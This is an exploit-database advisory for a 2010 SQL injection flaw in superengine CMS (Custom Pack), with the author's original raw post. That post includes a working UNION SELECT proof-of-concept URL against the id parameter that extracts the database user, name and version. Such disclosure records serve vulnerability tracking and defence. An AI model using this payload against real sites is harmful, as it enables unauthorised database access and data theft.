superengine CMS (Custom Pack) SQL Injection Vulnerability

vendor:

superengine CMS

by:

10n1z3d

CVSS

HIGH

SQL Injection

CWE

Product Name: superengine CMS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: a:superengine:superengine_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

superengine CMS (Custom Pack) SQL Injection Vulnerability

superengine CMS (Custom Pack) is vulnerable to a SQL injection vulnerability. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. The malicious request contains a specially crafted SQL query that can be used to extract sensitive information from the database, such as usernames, passwords, and other confidential data.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

  _______  _|__|  | ____________   ____   ____  
_/ __ \  \/ /  |  | \___   /  _ \ /    \_/ __ \ 
\  ___/\   /|  |  |__/    (  <_> )   |  \  ___/ 
 \___  >\_/ |__|____/_____ \____/|___|  /\___  >
     \/                   \/          \/     \/ .org
    

Author: 10n1z3d <10n1z3d[at]w[dot]cn>    
Date: 15/02/2010
---------------------------------------------------------
superengine CMS (Custom Pack) SQL Injection Vulnerability
---------------------------------------------------------
Vendor: http://superengine.ro/
Vuln:
  http://[server]/index.php?mod=0&id=1[SQLI]

PoC:    
  http://[server]/index.php?mod=0&id=-1337+UNION+ALL+SELECT+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6
---------------------------------------------------------
Greetz to all evilzone.org members.